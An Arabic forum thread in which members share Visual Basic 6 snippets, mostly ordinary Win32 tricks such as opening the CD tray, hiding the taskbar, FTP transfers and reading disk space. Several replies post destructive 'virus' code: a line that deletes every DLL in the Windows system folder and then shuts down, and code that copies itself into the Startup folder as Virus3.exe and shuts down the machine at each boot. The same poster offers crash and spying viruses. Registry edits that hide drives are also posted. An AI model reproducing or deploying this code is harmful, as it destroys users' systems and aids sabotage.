--((الموسوعة الضخمة لأكواد وأفكار الفيجويل))---

    • --((الموسوعة الضخمة لأكواد وأفكار الفيجويل))---

      |u

      هذا الموضوع عبارة عن موسوعة لأكواد الفيجويل
      سنقوم بوضع الكثير من الأكواد والأفكار التي تخص الفيجوال
      ومن يرد وضع الأفكار يضعها في هذا الموضوع

    • فتح الـCD-ROMوإغلاقه

      ضع هذا الكود في الفورم

      كود المصدر

      1. Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
      2. Public Sub OpenCDDriveDoor(ByVal State As Boolean)
      3. If State = True Then
      4. Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
      5. Else
      6. Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
      7. End If
      8. End Sub
      9. Private Sub Command1_Click()
      10. OpenCDDriveDoor (True)
      11. End Sub
      12. Private Sub Command2_Click()
      13. OpenCDDriveDoor (False)
      14. End Sub[/align]
      عرض الكل
    • اخفاء شريط المهام

      ضع هذا الكود في الموديول

      كود المصدر

      1. Private Const SWP_SHOWWINDOW = &H40
      2. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
      3. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
      4. ضع هذا الكود في الفورم
      5. Private Sub Command1_Click()
      6. Dim Task As Long
      7. Task = FindWindow("Shell_traywnd", "")
      8. Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
      9. End Sub
      10. Private Sub Command2_Click()
      11. Dim Task As Long
      12. Task = FindWindow("Shell_traywnd", "")
      13. Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
      14. End Sub[/align]
      عرض الكل
    • إظهار عناصر سطح المكتب وإخفائها

      ضع هذا الكود في الفورم

      كود المصدر

      1. Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
      2. Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
      3. Private Sub Command1_Click()
      4. Dim hwnd As Long
      5. hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
      6. ShowWindow hwnd, 0
      7. End Sub
      8. Private Sub Command2_Click()
      9. Dim hwnd As Long
      10. hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
      11. ShowWindow hwnd, 5
      12. End Sub[/align]
      عرض الكل
    • إخفاء محرك الأقراص

      ضع هذا الكود في الفورم

      كود المصدر

      1. Dim WSH As Object
      2. Set WSH = CreateObject("Wscript.Shell")
      3. WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", 4, "REG_DWORD"

      هذا الكود يقوم إخفاء محرك الأقراص C ويمكن إختيار محرك أخر عن طريق مضاعفة الرقم
    • إخفاء محتويات محرك الأقراص

      ضع هذا الكود في الفورم

      كود المصدر

      1. Dim WSH As Object
      2. Set WSH = CreateObject("Wscript.Shell")
      3. WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", 16, "REG_DWORD"


      هذا الكود يقوم بإخفاء محتويات محرك الأقراص C ويمكن إختيار محرك آخر وذلك بمضاعفة الرقم
    • تأجيل تنفيذ الكود لفترة معينه

      ضع هذا الكود في الفورم

      كود المصدر

      1. Public Sub Delay(HowLong As Date)
      2. TempTime = DateAdd("s", HowLong, Now)
      3. While TempTime > Now
      4. DoEvents
      5. Wend
      6. End Sub
      7. Private Sub Command1_Click()
      8. Delay 5
      9. MsgBox "Test"
      10. End Sub
      عرض الكل
    • حفظ ما يتغيير في Form بعد إغلاقه

      ضع هذا الكود في الفورم

      كود المصدر

      1. Private Sub Form_Load()
      2. Text1.Text = GetSetting(App.Title, "Settings", "SaveInText1")
      3. End Sub
      4. Private Sub Form_Unload(Cancel As Integer)
      5. SaveSetting App.Title, "Settings", "SaveInText1", Trim(Text1.Text)
      6. End Sub

      يمكن تغيير Text1بأي شي آخر image أو Picture أو ..الخ
    • توليد عشوائي للأرقام

      ضع هذا الكود في الفروم

      كود المصدر

      1. Dim RanNo() As Long
      2. Dim i, j, tmp
      3. Private Sub RandomizeNumbers(ByVal iFrom As Integer, ByVal iTo As Integer)
      4. ReDim RanNo(iFrom To iTo)
      5. For i = iFrom To iTo
      6. RanNo(i) = i
      7. Next i
      8. Randomize (Timer)
      9. For i = iFrom To iTo
      10. j = CInt((iTo - iFrom) * Rnd + iFrom)
      11. tmp = RanNo(i)
      12. RanNo(i) = RanNo(j)
      13. RanNo(j) = tmp
      14. Next i
      15. End Sub
      16. Private Sub Command1_Click()
      17. RandomizeNumbers 0, 100
      18. For i = 0 To 100
      19. List1.AddItem RanNo(i)
      20. Next i
      21. End Sub
      عرض الكل
    • أيقونة للبرنامج بجوار الساعة

      ضع هذا الكود في الموديول

      كود المصدر

      1. Public Type NOTIFYICONDATA
      2. cbSize As Long
      3. hWnd As Long
      4. uId As Long
      5. uFlags As Long
      6. uCallBackMessage As Long
      7. hIcon As Long
      8. szTip As String * 64
      9. End Type
      10. Public Const NIM_ADD = &H0
      11. Public Const NIM_MODIFY = &H1
      12. Public Const NIM_DELETE = &H2
      13. Public Const NIF_MESSAGE = &H1
      14. Public Const NIF_ICON = &H2
      15. Public Const NIF_TIP = &H4
      16. Public Const WM_MOUSEMOVE = &H200
      17. Public Const WM_LBUTTONDOWN = &H201 'Button down
      18. Public Const WM_LBUTTONUP = &H202 'Button up
      19. Public Const WM_LBUTTONDBLCLK = &H203 'Double-click
      20. Public Const WM_RBUTTONDOWN = &H204 'Button down
      21. Public Const WM_RBUTTONUP = &H205 'Button up
      22. Public Const WM_RBUTTONDBLCLK = &H206 'Double-click
      23. Public Declare Function SetForegroundWindow Lib "user32" _
      24. (ByVal hWnd As Long) As Long
      25. Public Declare Function Shell_NotifyIcon Lib "shell32" _
      26. Alias "Shell_NotifyIconA" _
      27. (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
      28. Public nid As NOTIFYICONDATA
      عرض الكل


      ضع هذا الكود في الفورم

      كود المصدر

      1. Private Sub Form_Load()
      2. Me.Show
      3. Me.Refresh
      4. With nid
      5. .cbSize = Len(nid)
      6. .hWnd = Me.hWnd
      7. .uId = vbNull
      8. .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
      9. .uCallBackMessage = WM_MOUSEMOVE
      10. .hIcon = Me.Icon
      11. .szTip = "Your ToolTip" & vbNullChar
      12. End With
      13. Shell_NotifyIcon NIM_ADD, nid
      14. End Sub
      15. Private Sub Form_Resize()
      16. If Me.WindowState = vbMinimized Then Me.Hide
      17. End Sub
      18. Private Sub Form_Unload(Cancel As Integer)
      19. Shell_NotifyIcon NIM_DELETE, nid
      20. End Sub
      عرض الكل
    • عرض الخطوط في قائمة منسدلة

      ضع هذا الكود في الفورم

      كود المصدر

      1. Private Sub Form_Load()
      2. Dim i As Integer
      3. For i = 0 To Screen.FontCount - 1
      4. Combo1.AddItem Screen.Fonts(i)
      5. Next i
      6. Combo1.Text = Combo1.List(0)
      7. End Sub[/align]
    • فتح برنامج المفكرة والإضافة عليه

      ضع هذا الكود في المفكرة

      كود المصدر

      1. Private Sub Command1_Click()
      2. Shell "notepad.exe", vbNormalNoFocus
      3. AppActivate ("المفكرة")
      4. SendKeys ("منتديات ساحة العرب")
      5. End Sub[/align]
    • السلام عليكم و رحمة الله و بركاته
      كيف الحال ان شاء الله بخير
      على العموم خليني اساهم ببعض الاكواد
      يا الريامي . اوكي

      هذا الكود :

      لكن هذا الكود خطير ويقوم يحذف جميع ملفات dll الموجودة في system


      code:

      --------------------------------------------------------------------------------

      Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")
      Call Shell("Rundll32.exe user,exitwindows")

      و اذا تريدوا اكوا اخطر الفيروسات انا مساعد
      ام تريدوا كود لنع فايروس يخلي النظام ينهار يعني سلم علي
      ام كود فيروس للتجسس اللي في بالكم ان شاء الله انا جاهز
      يا صاحب الموسوعة الريامي .

      و السلام مسك الختام
    • السلام عليكم و رحمة الله و بركاته
      عدت من جديد
      هذي المره كود لفيروس الصغيرين مال اللعب ما مشكله زييييين تجربوه
      و هو كالتالي :
      يا الاخ العزيز الريامي :
      هذا الكود يقوم بأغلاق الجهاز كلما فتحتة
      انسخ الكود و الصقه في الفريم زييييييييين الريام
      الاخ العزيز الريامي اعرفك من اين اتيت بالاكواد اللي معاك الحين من ...............
      عندي كل تلك الاكواد .
      المهم هذا الكود ما من الشله من عندي :


      code:

      --------------------------------------------------------------------------------

      Name App.Path & "\Virus3.exe" As "C:\WINDOWS\Start Menu\Programs\StartUp\Virus3.exe"
      Call Shell("Rundll32.exe user,exitwindows")

      و السلام مسك الختام

      ****************************
    • السلام عليكم و رحمة الله و بركاته

      اخي العزيز الريامي :
      ان شاء الله ساشارك لكن الحين معي مشاكل في جهازي
      و طبعا الاكواد موجودة فيه لكن لما احل المشاكل و بالاصح ساعمل له
      فورمات .
      ستجد تفاعلا تسر له الصدور و تنشرح له القلوب و النفوس
      ان شاء الله .

      و السلام مــــــــــــــــــــــــــــــــــســـــــــــك الــــــــــــــخــــــــــــــتــــــــــام

      **************************************************
    • طلب الأتصال بالانتر نت

      ضع هذا الكود في الفروم


      كود المصدر

      1. Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
      2. Const FTP_TRANSFER_TYPE_ASCII = &H1
      3. Const FTP_TRANSFER_TYPE_BINARY = &H2
      4. Const INTERNET_DEFAULT_FTP_PORT = 21 ' default
      5. 'for FTP servers
      6. Const INTERNET_SERVICE_FTP = 1
      7. Const INTERNET_FLAG_PASSIVE = &H8000000 ' used
      8. 'for FTP connections
      9. Const INTERNET_OPEN_TYPE_PRECONFIG = 0 '
      10. 'use registry configuration
      11. Const INTERNET_OPEN_TYPE_DIRECT = 1 '
      12. 'direct to net
      13. Const INTERNET_OPEN_TYPE_PROXY = 3 '
      14. 'via named proxy
      15. Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4 ' prevent using java/script/INS
      16. Const MAX_PATH = 260
      17. Private Type FILETIME
      18. dwLowDateTime As Long
      19. dwHighDateTime As Long
      20. End Type
      21. Private Type WIN32_FIND_DATA
      22. dwFileAttributes As Long
      23. ftCreationTime As FILETIME
      24. ftLastAccessTime As FILETIME
      25. ftLastWriteTime As FILETIME
      26. nFileSizeHigh As Long
      27. nFileSizeLow As Long
      28. dwReserved0 As Long
      29. dwReserved1 As Long
      30. cFileName As String * MAX_PATH
      31. cAlternate As String * 14
      32. End Type
      33. Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
      34. Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
      35. Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
      36. Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
      37. Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
      38. Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
      39. Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
      40. Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
      41. Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
      42. Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
      43. Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
      44. Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
      45. Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
      46. Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
      47. Const PassiveConnection As Boolean = True
      48. Private Sub Form_Load()
      49. Dim hConnection As Long, hOpen As Long, sOrgPath As String
      50. 'open an internet connection
      51. hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
      52. 'connect to the FTP server
      53. hConnection = InternetConnect(hOpen, "your ftp server", INTERNET_DEFAULT_FTP_PORT, "your login", "your password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
      54. 'create a buffer to store the original directory
      55. sOrgPath = String(MAX_PATH, 0)
      56. 'get the directory
      57. FtpGetCurrentDirectory hConnection, sOrgPath, Len(sOrgPath)
      58. 'create a new directory 'testing'
      59. FtpCreateDirectory hConnection, "testing"
      60. 'set the current directory to 'root/testing'
      61. FtpSetCurrentDirectory hConnection, "testing"
      62. 'upload the file 'test.htm'
      63. FtpPutFile hConnection, "C:\test.htm", "test.htm", FTP_TRANSFER_TYPE_UNKNOWN, 0
      64. 'rename 'test.htm' to 'apiguide.htm'
      65. FtpRenameFile hConnection, "test.htm", "apiguide.htm"
      66. 'enumerate the file list from the current directory ('root/testing')
      67. EnumFiles hConnection
      68. 'retrieve the file from the FTP server
      69. FtpGetFile hConnection, "apiguide.htm", "c:\apiguide.htm", False, 0, FTP_TRANSFER_TYPE_UNKNOWN, 0
      70. 'delete the file from the FTP server
      71. FtpDeleteFile hConnection, "apiguide.htm"
      72. 'set the current directory back to the root
      73. FtpSetCurrentDirectory hConnection, sOrgPath
      74. 'remove the direcrtory 'testing'
      75. FtpRemoveDirectory hConnection, "testing"
      76. 'close the FTP connection
      77. InternetCloseHandle hConnection
      78. 'close the internet connection
      79. InternetCloseHandle hOpen
      80. End Sub
      81. Public Sub EnumFiles(hConnection As Long)
      82. Dim pData As WIN32_FIND_DATA, hFind As Long, lRet As Long
      83. 'set the graphics mode to persistent
      84. Me.AutoRedraw = True
      85. 'create a buffer
      86. pData.cFileName = String(MAX_PATH, 0)
      87. 'find the first file
      88. hFind = FtpFindFirstFile(hConnection, "*.*", pData, 0, 0)
      89. 'if there's no file, then exit sub
      90. If hFind = 0 Then Exit Sub
      91. 'show the filename
      92. Me.Print Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
      93. Do
      94. 'create a buffer
      95. pData.cFileName = String(MAX_PATH, 0)
      96. 'find the next file
      97. lRet = InternetFindNextFile(hFind, pData)
      98. 'if there's no next file, exit do
      99. If lRet = 0 Then Exit Do
      100. 'show the filename
      101. Me.Print Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
      102. Loop
      103. 'close the search handle
      104. InternetCloseHandle hFind
      105. End Sub
      106. Sub ShowError()
      107. Dim lErr As Long, sErr As String, lenBuf As Long
      108. 'get the required buffer size
      109. InternetGetLastResponseInfo lErr, sErr, lenBuf
      110. 'create a buffer
      111. sErr = String(lenBuf, 0)
      112. 'retrieve the last respons info
      113. InternetGetLastResponseInfo lErr, sErr, lenBuf
      114. 'show the last response info
      115. MsgBox "Error " + CStr(lErr) + ": " + sErr, vbOKOnly + vbCritical
      116. End Sub[/align]
      عرض الكل
    • حالة الاتصال بالأنتر نت

      ضع هذا الكورد في الموديول

      كود المصدر

      1. Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
      2. Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
      3. Public Const RAS95_MaxEntryName = 256
      4. Public Const RAS95_MaxDeviceType = 16
      5. Public Const RAS95_MaxDeviceName = 32
      6. Public Type RASCONN95
      7. dwSize As Long
      8. hRasCon As Long
      9. szEntryName(RAS95_MaxEntryName) As Byte
      10. szDeviceType(RAS95_MaxDeviceType) As Byte
      11. szDeviceName(RAS95_MaxDeviceName) As Byte
      12. End Type
      13. Public Type RASCONNSTATUS95
      14. dwSize As Long
      15. RasConnState As Long
      16. dwError As Long
      17. szDeviceType(RAS95_MaxDeviceType) As Byte
      18. szDeviceName(RAS95_MaxDeviceName) As Byte
      19. End Type
      20. ضع هذا الكود في الفورم
      21. Public Function IsConnected() As Boolean
      22. Dim TRasCon(255) As RASCONN95
      23. Dim lg As Long
      24. Dim lpcon As Long
      25. Dim RetVal As Long
      26. Dim Tstatus As RASCONNSTATUS95
      27. TRasCon(0).dwSize = 412
      28. lg = 256 * TRasCon(0).dwSize
      29. RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
      30. If RetVal <> 0 Then
      31. MsgBox "ERROR"
      32. Exit Function
      33. End If
      34. Tstatus.dwSize = 160
      35. RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
      36. If Tstatus.RasConnState = &H2000 Then
      37. IsConnected = True
      38. Else
      39. IsConnected = False
      40. End If
      41. End Function
      42. Private Sub Command1_Click()
      43. If IsConnected() = True Then
      44. MsgBox ("الجهاز متصل بالانتر نت")
      45. Else
      46. MsgBox ("الجهاز غير متصل بالانترنت")
      47. End If
      48. End Sub[/align]
      عرض الكل
    • فتح صفحة إنتر نت

      ضع هذا الكود في الفورم


      كود المصدر

      1. Private Sub Command1_Click()
      2. Shell "RUNDLL32.EXE URL.DLL,FileProtocolHandler http://www.al-ebda3.info/ib/", vbNormalFocus
      3. End Sub
      4. Private Sub Command2_Click()
      5. Dim X As Object
      6. Set X = CreateObject("InternetExplorer.Application")
      7. X.Navigate "www.noisrael.com"
      8. X.Visible = True
      9. End Sub[/align]
    • حالة الأنتصال بالأنتر نت من خلال الريجستري

      كود المصدر

      1. [align=left]'In a Module..
      2. Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
      3. Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as string, you must pass it By Value.
      4. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
      5. Private Const HKEY_LOCAL_MACHINE = &H80000002
      6. Public Function IsConnected() As Boolean
      7. Dim lRegKey As Long
      8. Dim bData(3) As Byte
      9. If RegOpenKey(HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Services\RemoteAccess", lRegKey) = 0 Then
      10. 'Opened RegKey Successfully..
      11. If RegQueryValueEx(lRegKey, "Remote Connection", 0&, 1&, bData(0), 4) = 0 Then
      12. 'Query the Value of "Remote Connection" 1 - Connected, 0 - Not Connected
      13. IsConnected = bData(0)
      14. Else
      15. 'Counldn't find the Value, assume no Connection
      16. IsConnected = False
      17. End If
      18. 'Close the Registry Key
      19. Call RegCloseKey(lRegKey)
      20. End If
      21. End Function[/align]
      عرض الكل
    • السلام عليكم و رحمة الله وبركاته
      هذا كود آخر اساهم به من اجلكم يا شباب
      ووظيفته كالتالي : قطع الاتصال بالانترنت ترتيب

      'لكي تقطع الاتصال بالانترنت
      If InternetAutodialHangup(0) Then
      MsgBox "You're Disconnected!", vbInformation
      End If

      اخي الريامي اكوادي قصيره و اكوادك طويله
      و اكوادي عملها اقوى من اكوادك ليش ؟؟؟؟؟؟؟؟؟؟؟؟؟؟

      و السلام مسك الختام ......................
    • السلام عليكم

      السلام عليكم شباب

      هذا الكووووووووووووود رهيييييييب لتغييير اسم القرص الصلب
      سميه على مزاجك اذا مليت من السي و الدي و اللاي سميه على اسمك ان احببت
      تفضلوا :

      تغيير اسم القرص
      ' ضع هذا الكود في الفورم

      Private Declare Function SetVolumeLabel Lib "kernel32.dll" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

      Private Sub Command1_Click()
      Dim rval As Long
      rval = SetVolumeLabel("C:\", Text1.Text)
      End Sub

      Private Sub Form_Load()
      Text1.Text = "Driver 1"
      End Sub
    • السلام عليكم و رحمة الله و بركاته

      هذا الكود لمعرفة تفاصيل عن القرص :
      معرفة معلومات عن القرص [مساحته، المستخدم، .. الخ]

      ' ضع هذا الكود في الفورم

      Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

      Private Sub Form_Load()

      Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency
      Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency
      Const RootPathName = "c:\"
      Call GetDiskFreeSpaceEx(RootPathName, BytesFreeToCalller, TotalBytes, TotalFreeBytes)
      Me.AutoRedraw = True
      Me.Cls
      Me.Print
      Me.Print
      Me.Print
      Me.Print " Total Number Of Bytes:", Format$(TotalBytes * 10000, "###,###,###,##0") & " bytes"
      Me.Print " Total Free Bytes:", Format$(TotalFreeBytes * 10000, "###,###,###,##0") & " bytes"
      Me.Print " Free Bytes Available:", Format$(BytesFreeToCalller * 10000, "###,###,###,##0") & " bytes"
      Me.Print " Total Space Used :", Format$((TotalBytes - TotalFreeBytes) * 10000, "###,###,###,##0") & " bytes"
      End Sub


      و السلام مسك الختام

      ******************************************
    • السلام مسك الختام
      هلا اخواني كيف الحال ان شاء الله بخير هذا كود آخر عن يزعل الريامي
      و يقول ما في تفاعل بس كفي تفاعل ردود بيننا او يريد تفاعل كيميائي
      المهم هذا الكود وو ظيفته مساهمه اخرى : كوووووود رهيب يفزع مستعملي
      جهازك اعمل به مقالب :
      صهر الشاشة

      ' ضع هذا الكود في الفورم

      Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
      Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

      Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
      If KeyCode = vbKeyEscape Then Unload Me
      End Sub

      Private Sub Form_Load()
      Dim lngDC As Long
      Dim intWidth As Integer, intHeight As Integer
      Dim intX As Integer, intY As Integer

      lngDC = GetDC(0)

      intWidth = Screen.Width / Screen.TwipsPerPixelX
      intHeight = Screen.Height / Screen.TwipsPerPixelY

      form1.Width = intWidth * 15
      form1.Height = intHeight * 15

      Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy)
      form1.Visible = vbTrue

      Do
      intX = (intWidth - 128) * Rnd
      intY = (intHeight - 128) * Rnd

      Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy)

      DoEvents
      Loop
      End Sub

      Private Sub Form_Unload(Cancel As Integer)
      Set form1 = Nothing
      End
      End Sub